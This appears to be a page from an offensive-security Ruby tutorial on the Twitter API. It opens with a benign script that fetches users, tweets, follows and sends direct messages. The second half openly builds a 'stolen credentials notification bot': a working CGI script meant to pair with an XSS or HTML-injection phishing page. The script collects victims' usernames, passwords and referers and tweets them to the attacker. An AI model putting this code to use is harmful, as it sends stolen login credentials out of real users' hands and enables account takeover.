Twitter API

Dealing with Twitter’s API is really useful for information gathering, taxonomy and social engineering. However, you have to have some keys and tokens in-order to interact with Twitter’s APIs. To do so, please refer to the official Twitter development page.

  • Install Twitter API gem
    1. gem install twitter

Basic Usage

rubyfu-tweet.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'twitter'
  5. require 'pp'
  6. client = Twitter::REST::Client.new do |config|
  7. config.consumer_key = "YOUR_CONSUMER_KEY"
  8. config.consumer_secret = "YOUR_CONSUMER_SECRET"
  9. config.access_token = "YOUR_ACCESS_TOKEN"
  10. config.access_token_secret = "YOUR_ACCESS_SECRET"
  11. end
  12. puts client.user("Rubyfu") # Fetch a user
  13. puts client.update("@Rubyfu w00t! #Rubyfu") # Tweet (as the authenticated user)
  14. puts client.follow("Rubyfu") # Follow User (as the authenticated user)
  15. puts client.followers("Rubyfu") # Fetch followers of a user
  16. puts client.followers # Fetch followers of current user
  17. puts client.status(649235138585366528) # Fetch a particular Tweet by ID
  18. puts client.create_direct_message("Rubyfu", "Hi, I'm KINGSABRI") # Send direct message to a particular user

Twitter API - 图1

Your turn, tweet to @Rubyfu using above example. Tweet your code and output to @Rubyfu.

Building Stolen Credentials notification bot

We’re exploiting an XSS/HTML injection vulnerability and tricking users to enter there Username and Password. The idea is, We’ll make a CGI script that takes that stolen credentials then tweet these credentials to us as notification or log system

  1. #!/usr/bin/ruby -w
  2. require 'cgi'
  3. require 'uri'
  4. require 'twitter'
  5. cgi = CGI.new
  6. puts cgi.header
  7. user = CGI.escape cgi['user']
  8. pass = CGI.escape cgi['pass']
  9. time = Time.now.strftime("%D %T")
  10. client = Twitter::REST::Client.new do |config|
  11. config.consumer_key = "YOUR_CONSUMER_KEY"
  12. config.consumer_secret = "YOUR_CONSUMER_SECRET"
  13. config.access_token = "YOUR_ACCESS_TOKEN"
  14. config.access_token_secret = "YOUR_ACCESS_SECRET"
  15. end
  16. client.user("KINGSABRI")
  17. if cgi.referer.nil? or cgi.referer.empty?
  18. # Twitter notification | WARNING! It's tweets, make sure your account is protected!!!
  19. client.update("[Info] No Referer!\n" + "#{CGI.unescape user}:#{CGI.unescape pass}")
  20. else
  21. client.update("[Info] #{cgi.referer}\n #{CGI.unescape user}:#{CGI.unescape pass}")
  22. end
  23. puts ""